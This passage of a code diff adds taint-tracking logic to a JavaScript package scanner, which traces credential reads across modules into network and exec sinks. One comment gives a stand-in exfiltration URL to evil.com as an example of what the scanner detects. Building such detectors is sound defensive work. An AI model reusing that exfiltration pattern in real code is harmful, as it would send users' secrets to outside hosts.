400
|
+
type: 'cross_file_dataflow',
|
|
401
|
+
sourceFile: taintInfo.sourceFile,
|
|
402
|
+
source: `${taintInfo.source}${taintInfo.detail ? '(' + taintInfo.detail + ')' : ''}`,
|
|
403
|
+
sinkFile: relFile,
|
|
404
|
+
sink: sink.sink,
|
|
405
|
+
description: `Credential read in ${taintInfo.sourceFile} exported and sent to network in ${relFile}`,
|
|
406
|
+
});
|
|
407
|
+
}
|
|
408
|
+
}
|
|
409
|
+
|
|
410
|
+
return flows;
|
|
411
|
+
}
|
|
412
|
+
|
|
413
|
+
/**
|
|
414
|
+
* Expand taint through re-exports: if module B imports from A and re-exports,
|
|
415
|
+
* B's exports are also tainted. Max 2 levels.
|
|
416
|
+
*/
|
|
417
|
+
function expandTaintThroughReexports(graph, taintedExports, packagePath) {
|
|
418
|
+
const expanded = {};
|
|
419
|
+
for (const f of Object.keys(taintedExports)) {
|
|
420
|
+
expanded[f] = { ...taintedExports[f] };
|
|
421
|
+
}
|
|
422
|
+
|
|
423
|
+
for (let level = 0; level < 2; level++) {
|
|
424
|
+
let changed = false;
|
|
425
|
+
for (const relFile of Object.keys(graph)) {
|
|
426
|
+
const absFile = path.resolve(packagePath, relFile);
|
|
427
|
+
const ast = parseFile(absFile);
|
|
428
|
+
if (!ast) continue;
|
|
429
|
+
|
|
430
|
+
const localTaint = collectImportTaint(ast, relFile, graph, expanded, packagePath);
|
|
431
|
+
|
|
432
|
+
// Propagate taint through local variable assignments:
|
|
433
|
+
// e.g. const encoded = Buffer.from(raw) where raw is tainted
|
|
434
|
+
if (Object.keys(localTaint).length > 0) {
|
|
435
|
+
propagateLocalTaint(ast, localTaint);
|
|
436
|
+
}
|
|
437
|
+
|
|
438
|
+
// Check if any export returns a tainted variable (or inline require)
|
|
439
|
+
if (!expanded[relFile]) expanded[relFile] = {};
|
|
440
|
+
const fileDir = path.dirname(absFile);
|
|
441
|
+
walkAST(ast, (node) => {
|
|
442
|
+
if (!isModuleExportsAssign(node)) return;
|
|
443
|
+
const value = node.expression.right;
|
|
444
|
+
const exportName = getExportName(node.expression.left);
|
|
445
|
+
|
|
446
|
+
// Direct re-export: module.exports = taintedVar
|
|
447
|
+
if (value.type === 'Identifier' && localTaint[value.name]) {
|
|
448
|
+
if (!expanded[relFile][exportName]) {
|
|
449
|
+
expanded[relFile][exportName] = {
|
|
450
|
+
tainted: true,
|
|
451
|
+
source: localTaint[value.name].source,
|
|
452
|
+
detail: localTaint[value.name].detail,
|
|
453
|
+
sourceFile: localTaint[value.name].sourceFile,
|
|
454
|
+
};
|
|
455
|
+
changed = true;
|
|
456
|
+
}
|
|
457
|
+
return;
|
|
458
|
+
}
|
|
459
|
+
|
|
460
|
+
// Inline re-export: module.exports = require('./x')
|
|
461
|
+
if (isRequireCall(value) && isLocalImport(value.arguments[0].value)) {
|
|
462
|
+
const spec = value.arguments[0].value;
|
|
463
|
+
const resolved = resolveLocal(fileDir, spec, packagePath);
|
|
464
|
+
if (resolved && expanded[resolved]) {
|
|
465
|
+
const defTaint = expanded[resolved]['default'];
|
|
466
|
+
if (defTaint && defTaint.tainted && !expanded[relFile][exportName]) {
|
|
467
|
+
expanded[relFile][exportName] = {
|
|
468
|
+
tainted: true,
|
|
469
|
+
source: defTaint.source,
|
|
470
|
+
detail: defTaint.detail,
|
|
471
|
+
sourceFile: defTaint.sourceFile || resolved,
|
|
472
|
+
};
|
|
473
|
+
changed = true;
|
|
474
|
+
}
|
|
475
|
+
}
|
|
476
|
+
return;
|
|
477
|
+
}
|
|
478
|
+
|
|
479
|
+
// Wrapped re-export: module.exports = fn(taintedVar)
|
|
480
|
+
if (value.type === 'CallExpression') {
|
|
481
|
+
const tArg = findFirstTaintedArg(value.arguments, localTaint);
|
|
482
|
+
if (tArg && !expanded[relFile][exportName]) {
|
|
483
|
+
expanded[relFile][exportName] = {
|
|
484
|
+
tainted: true,
|
|
485
|
+
source: localTaint[tArg].source,
|
|
486
|
+
detail: localTaint[tArg].detail,
|
|
487
|
+
sourceFile: localTaint[tArg].sourceFile,
|
|
488
|
+
};
|
|
489
|
+
changed = true;
|
|
490
|
+
}
|
|
491
|
+
}
|
|
492
|
+
});
|
|
493
|
+
}
|
|
494
|
+
if (!changed) break;
|
|
495
|
+
}
|
|
496
|
+
|
|
497
|
+
return expanded;
|
|
498
|
+
}
|
|
499
|
+
|
|
500
|
+
/**
|
|
501
|
+
* Propagate taint through local variable assignments.
|
|
502
|
+
* If `const x = fn(taintedVar)`, then x is also tainted.
|
|
503
|
+
*/
|
|
504
|
+
function propagateLocalTaint(ast, localTaint) {
|
|
505
|
+
walkAST(ast, (node) => {
|
|
506
|
+
if (node.type !== 'VariableDeclaration') return;
|
|
507
|
+
for (const decl of node.declarations) {
|
|
508
|
+
if (!decl.init || !decl.id || decl.id.type !== 'Identifier') continue;
|
|
509
|
+
if (localTaint[decl.id.name]) continue; // already tainted
|
|
510
|
+
const tArg = findFirstTaintedArgInExpr(decl.init, localTaint);
|
|
511
|
+
if (tArg) {
|
|
512
|
+
localTaint[decl.id.name] = { ...localTaint[tArg] };
|
|
513
|
+
}
|
|
514
|
+
}
|
|
515
|
+
});
|
|
516
|
+
}
|
|
517
|
+
|
|
518
|
+
/**
|
|
519
|
+
* Find the first tainted identifier among function call arguments.
|
|
520
|
+
*/
|
|
521
|
+
function findFirstTaintedArg(args, taintMap) {
|
|
522
|
+
if (!args) return null;
|
|
523
|
+
for (const arg of args) {
|
|
524
|
+
if (arg.type === 'Identifier' && taintMap[arg.name] && !arg.name.startsWith('__module__')) {
|
|
525
|
+
return arg.name;
|
|
526
|
+
}
|
|
527
|
+
}
|
|
528
|
+
return null;
|
|
529
|
+
}
|
|
530
|
+
|
|
531
|
+
/**
|
|
532
|
+
* Recursively check if an expression uses a tainted variable as argument.
|
|
533
|
+
* Handles: fn(tainted), fn(a, fn2(tainted)), fn(tainted).method()
|
|
534
|
+
*/
|
|
535
|
+
function findFirstTaintedArgInExpr(node, taintMap) {
|
|
536
|
+
if (!node) return null;
|
|
537
|
+
if (node.type === 'Identifier' && taintMap[node.name] && !node.name.startsWith('__module__')) {
|
|
538
|
+
return node.name;
|
|
539
|
+
}
|
|
540
|
+
if (node.type === 'CallExpression') {
|
|
541
|
+
const fromArgs = findFirstTaintedArg(node.arguments, taintMap);
|
|
542
|
+
if (fromArgs) return fromArgs;
|
|
543
|
+
// Check callee for chained calls: fn(x).method()
|
|
544
|
+
return findFirstTaintedArgInExpr(node.callee, taintMap);
|
|
545
|
+
}
|
|
546
|
+
if (node.type === 'MemberExpression') {
|
|
547
|
+
return findFirstTaintedArgInExpr(node.object, taintMap);
|
|
548
|
+
}
|
|
549
|
+
return null;
|
|
550
|
+
}
|
|
551
|
+
|
|
552
|
+
/**
|
|
553
|
+
* For a given file's AST, find which local variables receive tainted values
|
|
554
|
+
* via require('./...') imports.
|
|
555
|
+
*/
|
|
556
|
+
function collectImportTaint(ast, currentFile, graph, taintedExports, packagePath) {
|
|
557
|
+
const localTaint = {};
|
|
558
|
+
const fileDir = path.dirname(path.resolve(packagePath, currentFile));
|
|
559
|
+
|
|
560
|
+
walkAST(ast, (node) => {
|
|
561
|
+
if (node.type !== 'VariableDeclaration') return;
|
|
562
|
+
for (const decl of node.declarations) {
|
|
563
|
+
if (!decl.init || !decl.id) continue;
|
|
564
|
+
|
|
565
|
+
// const reader = require('./reader')
|
|
566
|
+
if (isRequireCall(decl.init) && isLocalImport(decl.init.arguments[0].value)) {
|
|
567
|
+
const spec = decl.init.arguments[0].value;
|
|
568
|
+
const resolved = resolveLocal(fileDir, spec, packagePath);
|
|
569
|
+
if (!resolved || !taintedExports[resolved]) continue;
|
|
570
|
+
const modTaint = taintedExports[resolved];
|
|
571
|
+
|
|
572
|
+
if (decl.id.type === 'Identifier') {
|
|
573
|
+
// Whole module import — check 'default' export
|
|
574
|
+
const defTaint = modTaint['default'];
|
|
575
|
+
if (defTaint && defTaint.tainted) {
|
|
576
|
+
localTaint[decl.id.name] = {
|
|
577
|
+
source: defTaint.source,
|
|
578
|
+
detail: defTaint.detail || '',
|
|
579
|
+
sourceFile: defTaint.sourceFile || resolved,
|
|
580
|
+
};
|
|
581
|
+
}
|
|
582
|
+
// Also mark any named-export access later via member expressions
|
|
583
|
+
// Store the module reference for named export resolution
|
|
584
|
+
localTaint['__module__' + decl.id.name] = { resolved, modTaint };
|
|
585
|
+
}
|
|
586
|
+
|
|
587
|
+
// const { getToken } = require('./utils')
|
|
588
|
+
if (decl.id.type === 'ObjectPattern') {
|
|
589
|
+
for (const prop of decl.id.properties) {
|
|
590
|
+
const key = prop.key && (prop.key.name || prop.key.value);
|
|
591
|
+
const localName = prop.value && prop.value.name;
|
|
592
|
+
if (key && localName && modTaint[key] && modTaint[key].tainted) {
|
|
593
|
+
localTaint[localName] = {
|
|
594
|
+
source: modTaint[key].source,
|
|
595
|
+
detail: modTaint[key].detail || '',
|
|
596
|
+
sourceFile: modTaint[key].sourceFile || resolved,
|
|
597
|
+
};
|
|
598
|
+
}
|
|
599
|
+
}
|
|
600
|
+
}
|
|
601
|
+
}
|
|
602
|
+
}
|
|
603
|
+
});
|
|
604
|
+
|
|
605
|
+
// Resolve member access, class instances, and method calls
|
|
606
|
+
walkAST(ast, (node) => {
|
|
607
|
+
if (node.type !== 'VariableDeclaration') return;
|
|
608
|
+
for (const decl of node.declarations) {
|
|
609
|
+
if (!decl.init || !decl.id || decl.id.type !== 'Identifier') continue;
|
|
610
|
+
|
|
611
|
+
// const c = new Collector() — propagate module ref to instance
|
|
612
|
+
if (decl.init.type === 'NewExpression' && decl.init.callee.type === 'Identifier') {
|
|
613
|
+
const modRef = localTaint['__module__' + decl.init.callee.name];
|
|
614
|
+
if (modRef) {
|
|
615
|
+
localTaint['__module__' + decl.id.name] = modRef;
|
|
616
|
+
}
|
|
617
|
+
}
|
|
618
|
+
|
|
619
|
+
// const data = reader.getData() or const data = reader.data
|
|
620
|
+
if (decl.init.type === 'MemberExpression' && decl.init.object.type === 'Identifier') {
|
|
621
|
+
const modRef = localTaint['__module__' + decl.init.object.name];
|
|
622
|
+
if (modRef) {
|
|
623
|
+
const propName = decl.init.property.name || decl.init.property.value;
|
|
624
|
+
if (modRef.modTaint[propName] && modRef.modTaint[propName].tainted) {
|
|
625
|
+
const t = modRef.modTaint[propName];
|
|
626
|
+
localTaint[decl.id.name] = {
|
|
627
|
+
source: t.source,
|
|
628
|
+
detail: t.detail || '',
|
|
629
|
+
sourceFile: t.sourceFile || modRef.resolved,
|
|
630
|
+
};
|
|
631
|
+
}
|
|
632
|
+
}
|
|
633
|
+
}
|
|
634
|
+
if (decl.init.type === 'CallExpression' && decl.init.callee.type === 'MemberExpression') {
|
|
635
|
+
const callee = decl.init.callee;
|
|
636
|
+
if (callee.object.type === 'Identifier') {
|
|
637
|
+
const modRef = localTaint['__module__' + callee.object.name];
|
|
638
|
+
if (modRef) {
|
|
639
|
+
const propName = callee.property.name || callee.property.value;
|
|
640
|
+
if (modRef.modTaint[propName] && modRef.modTaint[propName].tainted) {
|
|
641
|
+
const t = modRef.modTaint[propName];
|
|
642
|
+
localTaint[decl.id.name] = {
|
|
643
|
+
source: t.source,
|
|
644
|
+
detail: t.detail || '',
|
|
645
|
+
sourceFile: t.sourceFile || modRef.resolved,
|
|
646
|
+
};
|
|
647
|
+
}
|
|
648
|
+
}
|
|
649
|
+
}
|
|
650
|
+
}
|
|
651
|
+
}
|
|
652
|
+
});
|
|
653
|
+
|
|
654
|
+
// Clean up internal markers
|
|
655
|
+
for (const key of Object.keys(localTaint)) {
|
|
656
|
+
if (key.startsWith('__module__')) delete localTaint[key];
|
|
657
|
+
}
|
|
658
|
+
|
|
659
|
+
return localTaint;
|
|
660
|
+
}
|
|
661
|
+
|
|
662
|
+
/**
|
|
663
|
+
* Find sink calls in the AST that use a tainted variable as argument.
|
|
664
|
+
*/
|
|
665
|
+
function findSinksUsingTainted(ast, localTaint) {
|
|
666
|
+
const taintedNames = new Set(Object.keys(localTaint));
|
|
667
|
+
const sinks = [];
|
|
668
|
+
|
|
669
|
+
walkAST(ast, (node) => {
|
|
670
|
+
if (node.type !== 'CallExpression') return;
|
|
671
|
+
|
|
672
|
+
const sinkName = getSinkName(node);
|
|
673
|
+
if (!sinkName) return;
|
|
674
|
+
|
|
675
|
+
// Check if any argument references a tainted variable
|
|
676
|
+
const taintedArg = findTaintedArgument(node.arguments, taintedNames);
|
|
677
|
+
if (taintedArg) {
|
|
678
|
+
sinks.push({ sink: sinkName, taintedVar: taintedArg });
|
|
679
|
+
}
|
|
680
|
+
});
|
|
681
|
+
|
|
682
|
+
return sinks;
|
|
683
|
+
}
|
|
684
|
+
|
|
685
|
+
function getSinkName(callNode) {
|
|
686
|
+
const callee = callNode.callee;
|
|
687
|
+
|
|
688
|
+
// fetch(url), eval(code), WebSocket(url)
|
|
689
|
+
if (callee.type === 'Identifier' && SINK_CALLEE_NAMES.has(callee.name)) {
|
|
690
|
+
return `${callee.name}()`;
|
|
691
|
+
}
|
|
692
|
+
|
|
693
|
+
// https.request(...), child_process.exec(...)
|
|
694
|
+
if (callee.type === 'MemberExpression') {
|
|
695
|
+
const chain = getMemberChain(callee);
|
|
696
|
+
if (SINK_MEMBER_METHODS.has(chain)) {
|
|
697
|
+
return `${chain}()`;
|
|
698
|
+
}
|
|
699
|
+
// instance.connect(), socket.write(), ws.send()
|
|
700
|
+
const method = callee.property.name || callee.property.value;
|
|
701
|
+
if (SINK_INSTANCE_METHODS.has(method)) {
|
|
702
|
+
return `${method}()`;
|
|
703
|
+
}
|
|
704
|
+
}
|
|
705
|
+
|
|
706
|
+
// new WebSocket(url), new XMLHttpRequest()
|
|
707
|
+
if (callNode.type === 'NewExpression') {
|
|
708
|
+
if (callee.type === 'Identifier' && (callee.name === 'WebSocket' || callee.name === 'XMLHttpRequest')) {
|
|
709
|
+
return `new ${callee.name}()`;
|
|
710
|
+
}
|
|
711
|
+
}
|
|
712
|
+
|
|
713
|
+
return null;
|
|
714
|
+
}
|
|
715
|
+
|
|
716
|
+
function findTaintedArgument(args, taintedNames) {
|
|
717
|
+
if (!args) return null;
|
|
718
|
+
for (const arg of args) {
|
|
719
|
+
if (arg.type === 'Identifier' && taintedNames.has(arg.name)) {
|
|
720
|
+
return arg.name;
|
|
721
|
+
}
|
|
722
|
+
// Template literal: `https://evil.com/?d=${data}`
|
|
723
|
+
if (arg.type === 'TemplateLiteral') {
|
|
724
|
+
for (const expr of arg.expressions) {
|
|
725
|
+
if (expr.type === 'Identifier' && taintedNames.has(expr.name)) {
|
|
726
|
+
return expr.name;
|
|
727
|
+
}
|
|
728
|
+
}
|
|
729
|
+
}
|
|
730
|
+
// Concatenation: 'url' + data
|
|
731
|
+
if (arg.type === 'BinaryExpression' && arg.operator === '+') {
|
|
732
|
+
const left = findTaintedInExpr(arg.left, taintedNames);
|
|
733
|
+
if (left) return left;
|
|
734
|
+
const right = findTaintedInExpr(arg.right, taintedNames);
|
|
735
|
+
if (right) return right;
|
|
736
|
+
}
|
|
737
|
+
// Object: { body: data }
|
|
738
|
+
if (arg.type === 'ObjectExpression') {
|
|
739
|
+
for (const prop of arg.properties) {
|
|
740
|
+
if (prop.value && prop.value.type === 'Identifier' && taintedNames.has(prop.value.name)) {
|
|
741
|
+
return prop.value.name;
|
|
742
|
+
}
|
|
743
|
+
}
|
|
744
|
+
}
|
|
745
|
+
}
|
|
746
|
+
return null;
|
|
747
|
+
}
|
|
748
|
+
|
|
749
|
+
function findTaintedInExpr(node, taintedNames) {
|
|
750
|
+
if (node.type === 'Identifier' && taintedNames.has(node.name)) return node.name;
|
|
751
|
+
if (node.type === 'BinaryExpression' && node.operator === '+') {
|
|
752
|
+
return findTaintedInExpr(node.left, taintedNames) || findTaintedInExpr(node.right, taintedNames);
|
|
753
|
+
}
|
|
754
|
+
return null;
|
|
755
|
+
}
|
|
756
|
+
|
|
757
|
+
// =============================================================================
|
|
758
|
+
// Shared helpers
|
|
759
|
+
// =============================================================================
|
|
760
|
+
|
|
761
|
+
function parseFile(filePath) {
|
|
762
|
+
let content;
|
|
763
|
+
try {
|
|
764
|
+
content = fs.readFileSync(filePath, 'utf8');
|
|
765
|
+
} catch {
|
|
766
|
+
return null;
|
|
767
|
+
}
|
|
768
|
+
try {
|
|
769
|
+
return acorn.parse(content, ACORN_OPTIONS);
|
|
770
|
+
} catch {
|
|
771
|
+
return null;
|
|
772
|
+
}
|
|
773
|
+
}
|
|
774
|
+
|
|
775
|
+
function walkAST(node, visitor) {
|
|
776
|
+
if (!node || typeof node !== 'object') return;
|
|
777
|
+
if (node.type) visitor(node);
|
|
778
|
+
for (const key of Object.keys(node)) {
|
|
779
|
+
if (key === 'type') continue;
|
|
780
|
+
const child = node[key];
|
|
781
|
+
if (Array.isArray(child)) {
|
|
782
|
+
for (const item of child) {
|
|
783
|
+
if (item && typeof item === 'object' && item.type) walkAST(item, visitor);
|
|
784
|
+
}
|
|
785
|
+
} else if (child && typeof child === 'object' && child.type) {
|
|
786
|
+
walkAST(child, visitor);
|
|
787
|
+
}
|
|
788
|
+
}
|
|
789
|
+
}
|
|
790
|
+
|
|
791
|
+
function isRequireCall(node) {
|
|
792
|
+
return (
|
|
793
|
+
node && node.type === 'CallExpression' &&
|
|
794
|
+
node.callee && node.callee.type === 'Identifier' &&
|
|
795
|
+
node.callee.name === 'require' &&
|
|
796
|
+
node.arguments.length === 1 &&
|
|
797
|
+
node.arguments[0].type === 'Literal' &&
|
|
798
|
+
typeof node.arguments[0].value === 'string'
|
|
799
|
+
);
|
|
800
|
+
}
|
|
801
|
+
|
|
802
|
+
function isLocalImport(spec) {
|
|
803
|
+
return spec.startsWith('./') || spec.startsWith('../');
|
|
804
|
+
}
|
|
805
|
+
|
|
806
|
+
function isModuleExportsAssign(node) {
|
|
807
|
+
if (node.type !== 'ExpressionStatement') return false;
|
|
808
|
+
const expr = node.expression;
|
|
809
|
+
if (expr.type !== 'AssignmentExpression' || expr.operator !== '=') return false;
|
|
810
|
+
const left = expr.left;
|
|
811
|
+
// module.exports = ...
|
|
812
|
+
if (left.type === 'MemberExpression' && left.object.type === 'Identifier' && left.object.name === 'module' &&
|
|
813
|
+
left.property.name === 'exports') return true;
|
|
814
|
+
// module.exports.foo = ...
|
|
815
|
+
if (left.type === 'MemberExpression' && left.object.type === 'MemberExpression' &&
|
|
816
|
+
left.object.object.type === 'Identifier' && left.object.object.name === 'module' &&
|
|
817
|
+
left.object.property.name === 'exports') return true;
|
|
818
|
+
// exports.foo = ...
|
|
819
|
+
if (left.type === 'MemberExpression' && left.object.type === 'Identifier' && left.object.name === 'exports') return true;
|
|
820
|
+
return false;
|
|
821
|
+
}
|
|
822
|
+
|
|
823
|
+
function getExportName(left) {
|
|
824
|
+
// module.exports = ... → 'default'
|
|
825
|
+
if (left.type === 'MemberExpression' && left.object.type === 'Identifier' && left.object.name === 'module') {
|
|
826
|
+
if (left.property.name === 'exports') return 'default';
|
|
827
|
+
}
|
|
828
|
+
// module.exports.foo = ... → 'foo'
|
|
829
|
+
if (left.type === 'MemberExpression' && left.object.type === 'MemberExpression') {
|
|
830
|
+
return left.property.name || left.property.value || 'default';
|
|
831
|
+
}
|
|
832
|
+
// exports.foo = ... → 'foo'
|
|
833
|
+
if (left.type === 'MemberExpression' && left.object.type === 'Identifier' && left.object.name === 'exports') {
|
|
834
|
+
return left.property.name || left.property.value || 'default';
|
|
835
|
+
}
|
|
836
|
+
return 'default';
|
|
837
|
+
}
|
|
838
|
+
|
|
839
|
+
function getFunctionBody(node) {
|
|
840
|
+
if (!node) return null;
|
|
841
|
+
if (node.type === 'FunctionExpression' || node.type === 'ArrowFunctionExpression') {
|
|
842
|
+
if (node.body.type === 'BlockStatement') return node.body.body;
|
|
843
|
+
// Arrow with expression body: () => expr
|
|
844
|
+
return [{ type: 'ReturnStatement', argument: node.body }];
|
|
845
|
+
}
|
|
846
|
+
return null;
|
|
847
|
+
}
|
|
848
|
+
|
|
849
|
+
function getMemberChain(node) {
|
|
850
|
+
if (node.type === 'Identifier') return node.name;
|
|
851
|
+
if (node.type === 'MemberExpression') {
|
|
852
|
+
const obj = getMemberChain(node.object);
|
|
853
|
+
const prop = node.property.name || node.property.value || '';
|
|
854
|
+
return `${obj}.${prop}`;
|
|
855
|
+
}
|
|
856
|
+
return '';
|
|
857
|
+
}
|
|
858
|
+
|
|
859
|
+
function extractLiteralArg(args) {
|
|
860
|
+
if (!args || args.length === 0) return '';
|
|
861
|
+
const first = args[0];
|
|
862
|
+
if (first.type === 'Literal' && typeof first.value === 'string') return first.value;
|
|
863
|
+
if (first.type === 'TemplateLiteral' && first.quasis.length === 1) return first.quasis[0].value.raw;
|
|
864
|
+
return '';
|
|
865
|
+
}
|
|
866
|
+
|
|
867
|
+
function resolveLocal(fileDir, spec, packagePath) {
|
|
868
|
+
const abs = path.resolve(fileDir, spec);
|
|
869
|
+
if (isFileExists(abs)) return toRel(abs, packagePath);
|
|
870
|
+
if (isFileExists(abs + '.js')) return toRel(abs + '.js', packagePath);
|
|
871
|
+
if (isFileExists(path.join(abs, 'index.js'))) return toRel(path.join(abs, 'index.js'), packagePath);
|
|
872
|
+
return null;
|
|
873
|
+
}
|
|
874
|
+
|
|
875
|
+
function isFileExists(p) {
|
|
876
|
+
try { return fs.statSync(p).isFile(); } catch { return false; }
|
|
877
|
+
}
|
|
878
|
+
|
|
879
|
+
function toRel(abs, packagePath) {
|
|
880
|
+
return path.relative(packagePath, abs).replace(/\\/g, '/');
|
|
881
|
+
}
|
|
882
|
+
|
|
883
|
+
module.exports = { buildModuleGraph, annotateTaintedExports, detectCrossFileFlows };
|